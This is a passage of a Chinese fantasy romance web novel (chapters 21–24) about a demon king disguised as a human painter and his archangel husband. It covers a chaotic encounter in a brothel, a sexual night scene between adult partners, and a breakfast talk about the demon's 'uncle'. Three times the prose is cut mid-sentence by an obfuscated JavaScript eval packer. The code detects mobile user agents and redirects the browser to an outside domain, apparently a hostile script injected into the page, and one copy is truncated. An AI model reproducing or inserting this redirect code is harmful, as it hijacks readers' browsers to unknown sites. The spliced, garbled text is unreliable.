他的话音未落,就感受到一股熟悉的刺骨寒意爬上了背脊。 战战兢兢地回过头,就看到轻而易举就将此次的目标魔族踢倒在地的天使长,眉眼弯弯地望着禁闭的房门轻笑:“对啊,你说他们到底在‘答应’什么呢。” 笑意不达眼底,脚底下还狠狠踩着巴奈的追踪对象——一只装成了人类少女,满脸惊恐的魔族学生。 啧,怪瘆人的。 巴奈尝试劝道:“冷静点天使长大人,也许阿瑞斯只是想有点新的尝试呢……” 亚德西莫啊了一声,蔚蓝色的眸子看过来:“尝试什么。” 好像尝试什么都有问题…… 脑海中突然想起来,那天漂亮可怜的画师眼圈红红地说自己与伴侣各个方面都有些不和谐的场景,巴奈恍然大悟般惊呼一声,眸子下意识地滑向了天使长的下半身…… 亚德西莫冰冷的目光在下属身上掠过:“收起你的下流想法,巴奈。” 天使长呼出一口气,面容还是稳重平静的模样:“我明白的,一切都是撒尔的错。” 在下属和瑟瑟发抖的魔族学生的注视下,亚德西莫从口袋里面优雅地掏出了一把刀。 “没关系,我会解决掉所有问题的。” 巴奈:“??” 巴奈:“!冷静啊亚德西莫大人!!” 21. “游、玩?” 魔王陛下刚刚被迫答应了老奸巨猾的撒尔的要求,现在心情不是太美好,紫罗兰一般的眸子凶巴巴地瞪着面前的魔族。 “别瞪我了,尊贵的魔王陛下,”撒尔挑起眉眼来狡黠地眨了眨,暧昧地说:“您应该知道,这是一件对你我都有好处的事情呢。” 阿瑞斯连忙躲开撒尔试图靠在自己身上的手臂,魔王与生俱来的素养让他艰难地忍住了翻白眼的冲动,但撒尔的话怎么听都让人忍不住想要吐槽,他退后一步正想要开口,却听到门外传来一阵嘈杂声。 像是低声交谈和衣物在拉扯摩擦中发出来的声音。 谁在外面打架吗,阿瑞斯迷茫地看过去,脑中首先浮现的是这个想法。 但联想到这个场所的特殊性,魔王又忍不住耳朵微红。 也许是另一种含义上的“打架”吧。 阿瑞斯虽然想赶紧离开这个地方,但刚刚来敲过门的“女人”忽然就没有声音了,还不知道走没走,现在又好像多了点奇怪的东西,让魔王更加不敢打开门了,甚至不太好意思发出太大的声音,怕被外面“激战”着的陌生人类发现自己发现了他们的小动作。 嗯,话有些拗口,但魔王的确是这么想的。 可就在此时,阿瑞斯的耳朵尖动了动,鼻子耸动两下,紫色眸子慢慢涌上点迷茫。 不知道为什么总觉得门外那人的声音和味道都很是熟悉…… 魔王脸上的迷茫随着门外那些嘈杂声音地变大,逐渐被震惊和慌乱所替代,瞳孔紧张地收缩。 显然,房间中的另外一只魔,也感受到了什么。 撒尔又重新将银白发丝变成了黑发,红瞳也覆盖上栗色,他满脸都写满了“看热闹”几个字,故作惊诧地捂着嘴:“呀,这是什么味道呀,不会是我们魔王陛下的可爱伴侣塞……” “塞西”两个字还没有说完,就听到砰的一声,紧接着面前就没有了黑发魔族的身影。 撒尔表情顿住,视线迟疑着缓慢下移,然后在床下的小角落里,发现了一小只黑色的,形状像是蝙蝠,但又浑身毛茸茸,还长着圆润犄角和细长尾巴的生物。 “噢,小阿瑞斯……你,我的天哪,”撒尔深深地吸了一口气,像是被魔王陛下忽然化为原形的动作给惊到了,半天说不出一句完整的话来。 阿瑞斯也同样不想说话,但却是因为过度的羞愤和慌乱。 “闭嘴撒尔,我不能被塞西发现我在这里。”魔王整只魔都羞耻得热乎乎的,自闭一样地努力缩小自己的身体,试图藏到床底下去,恼羞成怒地斥责:“完蛋了完蛋了,都怪你。” 本来以为会被这只狡猾且恶趣味满满的老家伙,像是抓住小辫子一样嘲笑,但没想到等了好一会儿,也没有等来预料中的嘲讽。 年轻的魔王因为羞恼而紧紧闭着的眸子,小心翼翼地睁开,然后就看见黑色长发的魔族蹲下了身。 撒尔用干净的帕子包裹住了小蝙蝠,戳戳它的犄角,被凶狠地瞪了一眼后,忽然就猛地捂住了自己的胸口,栗色的眸子半眯起来。 “亲爱的阿瑞斯,真好,你还是那么可爱。”撒尔有一种老父亲之心重新苏醒的诡异满足感,感动得甚至又几分兴奋:“我的天,你要是肯早点变成这样圆滚滚的小生物来撒个娇,什么人类伴侣,小猫小狗的,舅舅都帮你绑回魔界去!” 阿瑞斯:“……” 撒尔的作用显然只会体现在添麻烦上,自己现在这种逃避的状态也并没有用,但阿瑞斯又一时想不到任何能够解释自己行为的借口,大脑飞速运转,翅翼焦急地摆动,甚至忍不住想要将小尾巴放到牙齿里撕咬。 就在此时,房间里面的长发魔族忽然就调转了位置,向着门口的方向坚定地走过去,转身前还自顾自地说:“放心,舅舅会帮你解决问题的。” 阿瑞斯:“!” 魔王不敢再藏,连忙重新化为人形,一边去试图阻止,一边努力将尾巴塞到上衣底下:“等等,撒尔,事情没有那么……” 撒尔在干坏事和添麻烦上的速度都快得让魔咂舌,竟然连阿瑞斯都没有成功拉住他。 于是,这道属于特殊服务场所的房门,还是在此时被打开了。 在阿瑞斯的手恰好落到撒尔身上的瞬间。 四目相对。 门外的天使长大人仍然是衣冠楚楚温文尔雅的摸样。 如果忽略掉他手上的刀具,还有脚下踩着的半死不活的魔族学生,以及正奋力抱着天使长的腰,闭眼大喊着“冷静啊”“不要啊”的巴奈的话。 亚德西莫也没料想到门开得那么突然,在伴侣的注视下,他默默地把刀往身后拉了拉,弯着眼,声音温和轻柔,甚至还恰到好处地带上了点惊讶:“宝贝,你怎么会在这里?” 阿瑞斯的手还放在撒尔的肩膀上,听到伴侣的话后,一时紧张,脱口而出:“那塞西怎么会在这儿?” 天使长:“……” 对啊,该怎么解释自己为什么在这里呢。 收到下属的消息后,就急急匆匆赶过来的天使长大人,完全忘记了给自己找一个合理出现在此处的借口。 “我……”亚德西莫迟疑着启唇。 青年漂亮清透的紫色眸子直直地望过来,带着询问和疑惑。 恰好此时脚底下痛晕过去的魔族学生似乎有了要转醒的倾向,凌乱头发下的脸皱起来,发出一点微弱的挣扎声。 然后重新被天使长不经意地再次踩晕。 亚德西莫轻轻扬起唇:“我们是来抓违反校规校纪的学生的。” 经过伴侣的提醒,阿瑞斯这才注意到门前躺了一个穿得花里胡哨,画着浓妆,不太分辨地出来性别的“人”。 但这个人却长得有点奇怪,乱糟糟的头发下面隐隐可见两只小小的犄角,紧闭着的眼皮上方流动着熟悉的暗色纹路,还有被人无情地踩在了脚下的一条短尾巴…… 他分明就是一只魔族! 魔王陛下还没有收得回去,此时正可怜巴巴地缩在腰上的尾巴突然就是一痛,被吓得贴紧了皮肤,完全不敢乱晃了。 阿瑞斯的瞳孔缩了缩,指着地上的魔族,语气磕巴生硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587150|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脑袋一晕就开始胡言乱语:“他、他怎么会长尾巴……” 一看伴侣的表现,亚德西莫就在心中咯噔一声。 糟糕,忘记地上躺着的是一只魔族了。 在不使用任何道具的前提下,不会魔法的普通人类从生理上就要远远弱于魔族、兽人之类的非人类种族。 再直白一点说,即便只是魔族中最弱小的魔,也能够轻而易举地击败一名手无缚鸡之力的历史教授。 怎么都不该是现在这样,被“普通人类”塞西老师轻松压倒的情况。 亚德西莫张了张唇,大脑飞速运转,却怎么也想不到合适的理由来为自己辩解。 而这个时候,就到了神界最聪明善良的四翼天使——巴奈出场了。 见天使长大人似乎被问住了,僵持着说不出话来,巴奈连忙上前一步,为他解释道:“是角色扮演!就是那种假装自己是怪物魔族小精灵之类的无聊游戏,哎呀,人类学生们总是喜欢玩这种……” 阿瑞斯歪了一下头,觉得当前情况的复杂程度已经远超了魔王的想象,他满眼惊讶和迷茫:“巴奈医生?你为什么也在这儿。” 巴奈:“……” 一名宠物诊所的医生,怎么会和文明与历史学院的老师,一起出现在妓-院红灯区,原因还是为了抓一名看似是在角色扮演,其实真的是一只货真价实的魔族的男扮女装学生。 或许是因为场面太过魔幻,让魔王在一时间震惊得都放松了警惕,忽略了身边那名真正的麻烦制造者。 疏忽,总是会带来不可挽回的后果。 年轻的魔王总该在这种小教训上获得成长。 当阿瑞斯的警铃敲响时,事情就已经来不及了。 梳着侧边麻花辫,唇瓣红润的青年噗呲一声笑了出来:“你们真是有趣。” 亚德西莫冷淡地望向他,阿瑞斯则是慌乱地试图阻止:“撒尔,你不要乱说……” 但撒尔的目标却直接越过了两人,栗色眸子优雅地抬起来,轻飘飘地望向了另一人的方向:“那个戴眼镜的。” 巴奈往身后看了看,转过头来面容诧异:“你说我?” “没错,我是想告诉你,来这里偶尔休憩并没不是什么难以启齿的事情。” 撒尔虽然还是不明白他可爱的小外甥是在为什么而忧虑,但这并不妨碍心情很不错的前前前任魔王大发慈悲地帮他稍微做一点解释。 “即便你似乎是一名浑身透着穷酸气的愚蠢医生。” 巴奈:“……你有毛病吧!” 亚德西莫皱着眉,想要将自己的可爱伴侣从看上去就脑子不正常的撒尔身边带过来,但却扑了个空。 令天使无比厌恶的撒尔竟然趁着天使长的漂亮伴侣没注意,故意揽住了他的肩膀,扬起下巴亲昵地说:“就像我可爱的小外甥阿瑞斯一样,受邀到舅舅的工作场所游玩,当然是他的自由。” 撒尔十分刻意地挑了下眉:“就算是他的伴侣也不能阻止。” 阿瑞斯:“……” 天使长:“游、玩?” 22. “亲爱的,你今天喜欢这种风格啊。” 自从撒尔来到人界后,魔王陛下的每一天都是在一次又一次的慌张和混乱中度过的。 而那天意外的妓-院之行,更是不管从哪一个角度来说,都是令魔尴尬崩溃且慌不择路的一天。 就是因为太过尴尬,只要稍微尝试着回忆其中的某些画面,阿瑞斯都忍不住想要蜷缩尾巴,所以很久之后他其实已经不太能记得那一天的更多细节了,即便魔王拥有整个魔族最好的记忆力。 后面想来想去,最深的印象居然是那天晚上,被伴侣牵着走在回家的路上时,恰巧看到的属于夕阳的最后一抹橘色。 在那染红了半边天的橘色中,塞西金色的长发垂落下来,几缕发丝轻轻柔柔地扫到了魔王的侧脸,带来一些细细软软的触感。 阿瑞斯微微仰着颈脖,趁着伴侣专注地给自己扣扣子时,装作严肃地嘱咐他:“塞西以后不可以再随便去这种奇怪的地方了。” 魔王陛下先发制人,不给他无辜可怜的人类伴侣辩解和指责自己的机会,贵气的紫色眸子看似傲娇,实际上心虚地晃个不停。 “抓坏学生什么的,让其他人做就可以了。”聪明的阿瑞斯还学会了给自己打个圆场,找个补,小声说道:“实在不行就找撒尔帮忙,反正他非要在那里工作。” 阿瑞斯咳嗽一声,挺直腰板,试图让自己看起来更理直气壮:“嗯,就像撒尔邀请我去他的工作地点帮忙修理坏掉的灯泡一样。” 愚蠢的撒尔只会撒了谎就跑,最后还得需要无辜坚强的魔王来善后。 亚德西莫并没有说出什么“但事实上,你并不会修理灯泡,宝贝”这种扫兴的话,而是顺着他的话往下接,语气温柔又带着笑意:“哇,我们小宝石好厉害,不愧是诺曼堡最漂亮最厉害的画师。” 阿瑞斯一边为自己又成功在伴侣面前糊弄了过去而松口气,一边又因为他的夸奖而微微脸红。 魔王陛下不经意地扬起了一点唇角,面上还是平静稳重的样子,但眼中却盛满了细碎的雀跃:“那当然。” 天边的橘色快要消失的时候,回家的路马上就走到了尽头。 腰间暧昧地爬上了一只修长的手臂,门打开的瞬间,伴侣故意放轻的声音贴着耳根响起:“那么亲爱的阿瑞斯画师,我能有幸和你一起度过这个美丽的夜晚吗?” 每一名生物都有专属于自己的味道,而塞西身上的味道很独特,是一种温暖又令人心安的气息,仿佛是秋日里的落日余晖,即便是更习惯于呆在阴暗角落里的魔族,接触到他时,也会有种莫名的舒适惬意感。 魔王喜欢这种味道。 也坦然地因为它和它的主人而感到欢喜。 所以当大门关上,连灯都还没有打开,伴侣就尝试着伸出手探向自己的衣摆下方时,阿瑞斯并没有阻止他,甚至还隐隐地有几分兴奋。 或许也是因为许久没有过完全深入交流过,在天使长努力地抚弄下,就连细细长长的尾巴都兴奋地小幅度地摇晃起来…… 等等。 嘭! 天使长刻意勾引的手被人猛地抓住,反过来扣到了身后,眼睛也被迅速捂住,甚至被强迫着背过身,连着胸口一起按压到了墙壁上。 一片黑暗中,各种粗重的喘息和衣物磨蹭的声音就分外明显。 亚德西莫的蓝色眸子在夜色中因为兴奋而微微发着亮,他意外地挑起眉,却完全没有要反抗的意思,反而是纵容地轻笑一声:“亲爱的,你今天喜欢这种风格啊。” 作为强大的天使,亚德西莫当然能够在黑暗中视物,但毕竟是被翻过身按到了墙上,连眼睛也被捂住,天使长怎么也不可能拥有透视的能力。 这种未知和不安全感并没有那么让人舒适,但不知道为什么,金发天使的喘息声却更重了,睫毛晃动个不停,连声音都染上了急切和难耐。 “阿瑞斯,甜心,宝贝,亲爱的,我想要看着你。” 魔王陛下还什么都没有做,面前的“人类”伴侣就已经大方热情地开始摇晃着腰求-欢。 实在是令魔苦恼。 阿瑞斯的耳朵红了半截,剩下的半截红在被压在上衣下面闷了大半天的可怜尾巴尖上。 可恶,忘记尾巴还没有收回去了。 撒尔的领域还是不能正常使用,后面又发生了一系列兵荒马乱的意外,而尾巴今天一直都乖乖地挂在腰上,让魔王一时就忽略了它的存在。 刚刚受到刺激后,尾巴激动地摆了摆,差点打到伴侣衣物里探的手背时,阿瑞斯才猛地想起来它。 差一点点就被发现了。 年轻的魔王心脏砰砰砰地跳,脸蛋也红通通的,怎么看都是一副纯情的幼崽魔的样子。 但将天使长大人的手腕捆起来的动作却已经很熟练了。 塞西为了这个夜晚,把撒尔这种难缠的老家伙都打包丢给巴奈医生了,那名据说是犯了大错的学生也推脱给了其他同事处理,还特意去洛安娜小姐那里买了足够多的计生用品。 不管是作为强大的魔王,还是作为负责任的伴侣而言,阿瑞斯都不应该拒绝他可怜又热情的爱人。 但是这里没有能够用来隐藏的洗澡水和白泡泡,只要塞西打开灯睁开眼,就能清楚发现魔王晃来晃去的细长尾巴。 这样的话就完蛋了。 聪明的魔王绝对不会让这种事情发生的。 亚德西莫等了好半天,他年轻可爱的人类伴侣,也仍然没有要进一步深入触碰自己的想法。 但手腕又被束缚住了,天使长连向后伸手拉扯都做不到,只能用腰臀部示好又催促似的磨蹭着身后的漂亮青年。 “不用担心宝贝,今天晚上不会有人来打扰我们的,”亚德西莫的脸颊也发着烫,浅色唇瓣微微张开着,他的声音依旧是带笑的,仔细听上去却也能发现其中的生涩和羞耻:“……你稍微动一动吧甜心。” 在这种事情上,天使长自觉要比他的小伴侣成熟许多,往常一直都是作为引导和更主动的一方,但今晚这个姿势实在是太过新奇,完全地剥夺了他“掌控”的权利,让他不得不将每一个步骤的触碰都寄托在伴侣的身上。 换句话说,如果阿瑞斯一直没有动作的话,可怜的天使长只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587151|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直维持着这个令人羞恼的动作,而得不到任何期待的安抚。 相较于年轻的美丽画师,从神池中诞生到现在已经快一千岁的天使长大人简直“老”得不像话,想到巴奈之前说的那个“七年之痒”。亚德西莫抿住唇,忍住这种生理上的战栗羞耻感,更加坦率地磨蹭着伴侣,试图让自己不会在年轻人面前露怯。 “亲爱的,我想要你的唔……”但话还没有说完,就又被捂住了嘴巴。 阿瑞斯的脸颊也是热乎乎的,贴在颈脖之上的时候,像是柔软滚烫的烤棉花糖,就算眼睛看不见,也能让天使长想象到那张添上了红晕的脸蛋有多让人心动。 但说出的话,却是无情的。 “但是塞西今天去了不好的地方,”魔王陛下一本正经地倒打一耙,但明明似乎是在斥责,但脸贴上去轻蹭的时候,又像是羞恼的撒娇:“要有惩罚。” 天使长勉强从青年的指缝里面往外看,只能看到白净的墙壁:“我不是……” 聪明的魔王当然不会给他辩解的机会,慌慌张张地将伴侣的嘴巴重新捂住,凶巴巴地下个不公平的结论:“所以要惩罚塞西今晚自己动,也不许看我。” 家里功能奇怪的各种颜色的布条越来越多了,阿瑞斯只要随便拿上一条,就能轻松地遮住那双蔚蓝色的温柔眸子。 深紫色的系带在金发后垂下来,慢慢地被一条细细长长的黑色尾巴缠绕上去,像是找到了什么喜欢的玩具一样,围着那根系带和几缕金发小心地颤动着尾巴尖尖。 魔王陛下在大放厥词装凶狠的时候,不听话的尾巴却偷偷摸摸地投了敌,吓得阿瑞斯一抖,差点一尾巴抽到了天使长的屁股上。 亚德西莫虽然不知道发生了什么,却能够精确地捕捉到伴侣的每一次走神和情绪波动,趁着阿瑞斯慌乱地去掌控尾巴时,伸出舌尖舔了一下他捂在自己嘴上的手心。 湿润的触感让魔王又是一抖,下意识地就松了手。 终于摆脱一点桎梏的天使长一边继续努力地俯首去追逐舔-舐那几根修长白皙的手指,一边故作委屈地说:“阿瑞斯好狠心。” 但下一刻又话锋一转:“但是我很愿意接受你的惩罚,宝贝。” —— 第二天阿瑞斯是被客厅里突然响起的电话铃声给吵醒的,睁开眼的时候,就正好看到先几秒醒来的伴侣坐在床头似笑非笑地望着自己。 四目相对之间,还没有穿上衣服的天使长,大大方方地露出布满了青紫痕迹的胸口,低头蹭了蹭漂亮画师的鼻尖。 “自己动?”在情-欲中清醒后的亚德西莫想到昨晚的情况,忍不住笑出声:“撒尔昨天带着你喝了假酒吗宝贝。” 魔王刚刚睡醒,眼底还带着迷蒙,过了好一会儿才反应过来自己是被调笑了,脸一下子红起来,慌乱地掀开被子推开前方站着的伴侣,故作正经地仰着下巴:“听不懂你在说什么。” 阿瑞斯下床时差点被垂到地板上,沾着暧昧痕迹的布条绊倒,被伴侣扶住后,在那双戏谑的蓝色眸子的注视下,又羞又恼地快步逃走:“我要去接电话了!” 23. 他有特殊癖好。 客厅里的电话铃声响个不停,在这样一个晴朗的春日早晨里,像是什么催命的进行曲一样持续震动着,急促得让人心慌。 阿瑞斯一边快速往客厅走,一边小心翼翼偷偷摸摸地检查自己身上有没有残存的奇怪东西。 比如不听话的尾巴和耳朵之类的。 拿起电话的时候,检查工作也顺利地结束。 尾巴的确没有想要再次出现的趋向,但事实上,阿瑞斯甚至不知道它是在什么时候完全收回去的。 昨天是个令人心惊动魄的一天,不管是白天还是夜晚。 就算魔王已经尽力地想要控制,可恶的尾巴却像是故意与他作对一样,在阿瑞斯以为它已经收回去之后,没过一会儿就又颤巍巍地弹了出来,差一点就甩在了正趴魔王腰腹间努力吮-吸着的无辜伴侣的脸上,吓得他只能连忙收回想要解开伴侣眼上的布条的动作。 就这样弹出来又缩回去,缩回去又弹出来,来来回回好几次,让年轻的魔王受到惊吓的同时,也为天使长大人带来了不小的挑战。 毕竟魔王陛下每一次被吓到,都会下意识地僵硬住身体,让天使长本来就艰难的“进食”,更为雪上加霜举步维艰了起来。 虽然过程实在是刺激,但好在至少没有出现,阿瑞斯幻想中的,一觉醒来发现尾巴正被伴侣捏在手心里这种可怕的场面发生。 这根强大而美丽,属于魔王陛下的长尾,终于安安静静地藏了起来,就像是它本身就如此听话一样。 当然这只是表面,虽然不知道它为什么又平静下来,但昨夜的那种情况已然是魔力紊乱向着失控转变的前兆,这些庞大活跃的能量迫切地需要得到足够多地倾泻。 阿瑞斯脑子里想着事情,接过电话时就有些心不在焉:“喂,你好。” 电话的另一端在被接起的瞬间,就爆发了一道尖锐的爆鸣声:“救命啊!快来把他领走!他快要把我们家吃空了,简直就是可怕的怪物,天……” 魔王陛下被吼得懵了几秒,迷茫地皱着眉头打断:“巴奈医生?” 差一点就要喊出“天使长大人”几个字的巴奈:“……噢,你、你是小阿瑞斯?” 阿瑞斯已经猜到了他是在说什么,深怕大魔头撒尔会对善良无辜还柔弱无力的宠物医生做出一些难以挽回的事情来,连忙抿着唇追问道:“是我,撒尔又干了什么,你现在还好吗,我马上过去把他接走。” 巴奈看着那只笑眯眯地对自己眨眼,但却将自己家里仅剩的最后一块饼干咬碎的艳丽男人,咬着牙努力维持作为一名天使的优雅:“还、好。” 阿瑞斯还想要说什么,电话却被身后的青年,温柔地接了过去。 亚德西莫一边安抚着有些着急的小伴侣,一边慵懒地和电话那头对话:“辛苦你了巴奈,我们中午就过去接走他,可能要再麻烦你稍微照看一小会儿了。” 天使长的声音很温和,却隐隐地带了点警告的意味,用来提醒不太靠谱的同伴不要暴露了自己的身份:“希望你们能相处愉快。” 电话挂了后,亚德西莫一抬头,却发现还穿着单薄睡衣的伴侣,正阴森森地门口的方向走去。 魔王陛下矜贵漂亮的脸上明显憋着一口气,紫色的眸子凶巴巴地发着亮,不像是去接人,反而像是去找人同归于尽。 但他就算是生气得鼓起了腮帮子,也不忘嘱咐伴侣:“塞西,我先去把撒尔抓走,今天就不回来吃饭了。” 亚德西莫:“……” 眼看着阿瑞斯是真的要穿着睡衣,顶着乱糟糟的小卷发,早饭也不吃地冲去医生家里抓人,亚德西莫连忙连哄带拉地将人拦了下来:“等等宝贝,我们不着急,没事的,晚一点去接也没关系。” 天使长将魔王陛下气得翘起来的几缕黑发顺了顺,轻笑着说:“阿瑞斯难道想要让街上的所有人,都发现你没有洗漱的样子吗?” “‘又呆又可爱,穿着睡衣还拖着个男人回家的小宝石’,他们绝对会这样讨论。”亚德西莫观察着伴侣的表情,看到那双紫色眸子从迷茫到羞恼后,才故意拖长声音笑着说:“阿瑞斯也不想让这样的事情发生吧。” 阿瑞斯只是稍微想象了一下伴侣口中的画面,都忍不住脸上一烫,下巴绷紧了点,红润的唇有些不安地抿着:“那该怎么办。” “塞西,撒尔他跟你想的不一样,他是一个……”年轻的魔王不知道该怎么和自己“单纯”的人类伴侣解释一只伪装成了无害人类的深渊魔族的危险性,脑子飞速运转,憋了半天憋出来一句: “他有特殊癖好。” 比如杀人放火打架作恶,调戏无辜人类医生之类。 只要说出来了第一句话,后面的话就顺畅了许多。 诺曼堡最负盛名的年轻画师顶着一张刚睡醒的白净脸蛋,一本正经煞有介事地开口道:“他肯定会欺负巴奈医生的,我不能让他们呆在一起太久。” 亚德西莫的眉梢轻蹙着:“特殊癖好?” 因为撒谎而有些心虚紧张的魔王陛下丝毫没有意识到这个词带着歧义,点点头认真说:“没错。” 阿瑞斯顿了顿,又补充一句:“很特殊的那种。” 亚德西莫大人:“……” 虽然下属的贞操似乎正在面临着极大挑战,但天使长大人想了想,也定下心神地回答:“放心,巴奈他也不一样,不会有事的。” 天使的寿命很长,诞生方式又特殊,所以并不是每一只天使都天生拥有神池赋予的繁衍能力,至少据天使长所知,巴奈是没有这项特殊能力的。 与之相应的,他也大概率不会产生由繁衍能力所附带的各种情-欲。 嗯,不管撒尔的癖好有多特殊,都不会影响到巴奈……应该吧。 在伴侣“真的吗,巴奈医生真的不会被OOXX吗”的视线的真诚注视下,天使长大人还是勉强捡起了自己的良心:“……好吧宝贝,我们等一会儿就去把他接走。” 阿瑞斯正想要松口气,就又听到塞西温柔地加了个条件:“不过在这之前,我们要好好讨论一下阿瑞斯这位特殊癖好‘舅舅’的真正来历。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14587152|155868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“以及,先吃个早餐。” —— “我明白了,阿瑞斯的意思是,撒尔,还有一些其他的人,他们在你很小的时候捡到并共同抚养了你。”亚德西莫说话的声音很慢,像是怕吓到面前明显有些紧张的年轻爱人一样,每个字都温和而轻缓:“但是你们之间的观念不同,产生了矛盾渐行渐远。” 然后矛盾终有一天爆发,就此分开,漂亮的画师孤身一人来到了陌生的边缘小城市。 这么多年来,亚德西莫从来没有过问过伴侣的身世和家庭,一个原因是天使的亲缘意识本就淡薄,另一个原因则是担心会勾起他善良多情的小画师的伤心事。 毕竟人类看重亲情,阿瑞斯从未提起过他的亲人们,多半在这方面就是有问题存在。 后来看到了不靠谱的撒尔,更是加重了亚德西莫的猜测。 一想到小小一只可怜兮兮的阿瑞斯独自在外流浪,好不容易被收养,又因为各种矛盾和“亲人”分离,没有钱也没有行李被迫来到异乡的经历,天使长大人就心疼得不行。 “不要害怕宝贝。”亚德西莫光是从伴侣搅动米粥的频率,都能看得出他的慌乱,即便阿瑞斯在很刻意地维持自己的冷静和骄傲。 天使长忍不住握住了他无意识动来动去的手,轻声说:“我不是他们,我会永远陪在你身边。” 阿瑞斯有点脸红,轻轻地哼了一声,开始小心眼地翻旧账:“但你最开始认识我的时候,还怀疑我是小偷,想要抓我进监狱。” 天使长大人来到诺曼堡没有多久就丢了钱包,就像魔王陛下只是随便迷了迷路就捡到一整包亮晶晶的小圆块。 然后在魔王正无聊地撑着下巴坐在街边玩数金币的游戏时,就和正在寻找钱包心情非常不美好的天使长四目相对了。 再接着就是一些快要被魔王翻烂了的旧账画面。 亚德西莫眨眨眼,勾着唇开了个玩笑:“阿瑞斯当时也非要说我是骗子,让我赔你的工作。” 魔王陛下掀开眼轻轻挑着眉:“难道不是吗?” 阿瑞斯曾经被一些变态画家骚扰,自己还慢半拍地反应不过来,亚德西莫帮他将那些人送进了拘留所,当然也让魔王陛下失去了他的第一份模特的工作。 两个人相互看不上彼此,不欢而散。 再接着,心情莫名烦躁的天使长大人,就在胡乱散步的小路上,看到了那名似乎不太聪明的漂亮少年。 他独自坐在公园的长椅上,干净的手心里面攥着几枚小小的银币,总是亮晶晶的紫色眸子安静又有点沮丧地盯着它们,鼻尖被冬日的冷风吹得红红的。 脸和耳朵也是红红的,一见到自己过来,就谨慎地抬起来,故作成熟地仰着下巴,凶巴巴地瞪人:“又是你,金灿灿的讨厌家伙!” 夕阳底下,黑色短发的少年像是一株美丽又纯洁的紫罗兰,亚德西莫现在还记得自己心脏漏掉一拍的那种感觉。 他听到记忆中的自己,和现在的自己,说着同样一句话:“嗯,所以阿瑞斯想要和我回家吗?” 24. “那么待会儿见,宝贝。” 两名结婚十年的非人类家伙,漫长的生命里面,明明多的是比在诺曼堡的这些年激荡万分的经历,但偏偏只是稍微回忆那个初见的冬日,都会不约而同地相视一笑,心头发烫。 等黏黏糊糊地把一碗粥喝完,距离天使长大人工作的时间,也只剩下了四十分钟不到。 好在霍尔莫德斯不算远,拐个弯刚好去将正在无辜医生家里作威作福的“好舅舅”接走。 “如果阿瑞斯想要和家人重归于好的话,就按照自己的想法去做,”亚德西莫捏捏伴侣的耳垂,装成给自己打气的样子,眨眨眼说:“我一定会努力地当个好“儿婿”的,绝对不添乱。” 魔王陛下有点脸红,快步往外走:“塞西总是胡说八道。” 关门声音响起后几秒,手心又被后赶上来的天使长熟练的握住。 两名同样身形修长高挑的青年,姿态亲密地并肩走在上班的路上,如同他们每一个平凡而温馨的早晨。 “宝贝,如果需要帮助的话,请一定要告诉我。”在走到巴奈的诊所门前时,亚德西莫放轻了声音,认真望着阿瑞斯说:“你知道的,我永远会站在你这一边。” 阿瑞斯当然不可能暴露撒尔的身份,对于自己和撒尔的家乡,以及来历之类的信息,都是含含糊糊地糊弄过去,只是将在深渊的那段经历换了个相似的表达。 撒尔来到诺曼堡的原因也同样是一笔带过,总不能说是自己快要变成毛茸茸长尾巴蝙蝠了,不得不找“家长”来帮忙吧。 好在撒尔来人界的目的也的确并没有那么单纯,阿瑞斯纠纠结结半天,然后在伴侣耐心温柔地等待下,背着撒尔本魔,胡编乱造妄自猜测了一个理由:“他有病!” 魔王陛下神神秘秘地胡言乱语:“是过来这边治病的,特别神秘可怕的病,一发作就会浑身疼痛吱哇乱叫,只有诺曼堡有治病的方法。” 听到这句话后的天使长大人:“……” 即便撒尔看上去完全不像身体有病的样子,但天使长想了想,毕竟精神上的疾病也是病,他还是选择相信了伴侣的解释,并且还好一阵安慰。 于是,站在诊所门外,亚德西莫这样提议道:“我们可以一起把他扭送到特殊医院里去。” 阿瑞斯很心虚,漂亮的眼睛眨动的速度加快了一点,磕巴含混地小声回答:“嗯……下、下次吧。” 他担心撒尔会恼羞成怒气急败坏,然后也成为深渊中广大发疯的前魔王其中之一。 阿瑞斯正想要敲门,手才抬起来,诊所的门就先一步地从里头打开了。 终于送走了“瘟神”,重新变得容光焕发神采奕奕的巴奈医生决定出去走走,消一消身上的晦气。 然后一打开门,就对上一张慌里慌张的漂亮脸蛋。 门只打开了一半,亚德西莫又站在侧后方,导致巴奈并没有第一时间发现天使长大人的到来。 在撒尔的对比下,面前这名可爱善良小画师的脸简直看得天使心情舒畅神清气爽。 巴奈没有戴眼镜,故意凑上来眨动眼睛时,也显出几分多情和风流来:“真高兴能够在早晨见到你,可爱的小阿瑞斯。” 魔王陛下不同声色地偷偷观察着面前的“人类”医生,想要判断出他是不是还四肢健全:“巴奈医生,我们是来接走撒尔的。” 